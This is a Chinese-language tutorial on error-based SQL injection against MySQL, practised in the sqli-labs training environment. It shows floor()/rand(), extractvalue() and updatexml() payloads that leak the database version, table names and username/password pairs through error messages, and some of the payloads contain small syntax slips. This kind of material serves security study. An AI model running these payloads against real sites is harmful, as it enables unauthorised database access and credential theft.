报错注入
原理:
构造payload让信息通过错误提示回显出来
应用场景:
查询不回显内容,会打印错误信息,update.insert等语句,会打印错误信息
代码实现:
1 | if($row) |
举例:
正常请求:
id=1,返回id=1的数据
错误请求:
id=1’,返回错误信息,语法错误,如果能让错误信息中返回数据库中的内容,即可实现Sql注入,所以我们要想办法构造语句,让错误信息可以显示更多我们想查询的内容
方法:
环境:sqli-lab
1.floor():
1 | select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)); |
group by 对rand函数进行操作时产生错误
2.extractvalue():
1 | extractvalue(1,concat(0x7e,(select user()),0x7e)); |
XPath语法错误产生报错
3.updatexml():
1 | select updatexml(1,concat(0x7e,(select user(),0x7e),1); |
Xpath语法错误产生报错
floor():
1 | select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)); |
concat:连接字符串
floor:取float的整数值
rand:取0-1之间的随机浮点值
group by:根据一个或多个列对结果集进行分组并有排序功能
这其中导致报错的就是group by和floor
当id=1’ and select count(*) from information_schema.tables group by concat((select version(),floor(rand(0)*2))–+
1 | select * from users where id = '1' and select count(*) from information_schema.tables group by concat((select version(),floor(rand(0)*2))--+' |
可以看到报错回显了有关版本的信息,即我们插入的select version()
我们也可以继续查询user(),database()等
按照老方法就是查库查表查列
这里拿查表做例子:
id=1’ and select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))–+
1 | select * from users where id = '1' and select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))--+' |
或者采用另外一种查数据
id=1’ and select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from 表名),floor(rand(0)*2))–+
1 | select * from users where id = '1' and select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from 表名),floor(rand(0)*2))--+ |
这里如果对返回的数据条数有限制,可以用concat_ws或者limit进行绕过,如果是limit的话,每次都只需要对数字参数进行修改即可,这里可以BP的爆破模块进行替代
extractvalue():
extractvalue:接收两个参数,第一个XML文档,第二个Xpath语句
1 | select extractvalue(1,concat(0x7e,(select user()),0x7e)); |
在上述例句中位置插入sql查询语句即可,报错就会返回我们想要查询的信息
updatexml():
updatexml:接收三个参数,第一个XML文档,第二个Xpath语句,第三个字符串
1 | select updatexml(1,concat(0x7e,(select user()),0x7e),1); |
在上述例句中位置插入sql查询语句即可,报错就会返回我们想要查询的信息,原理与extractvalue一样,只是多了一个参数
例子:
id=1’ and updatexml(1,concat(0x7e,(select user()),1)–+
1 | select * from users where id='1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+' |
id=1’ and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)–+
1 | select * from users where id='1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1)0x7e),1)--+' |
回过头来看,报错注入其实大框架是不变,我们只需要改变查询内容即可就能实现注入,主要是熟练度。(但是报错注入对返回的长度有限制32位,可以用substr对字符进行截取即可)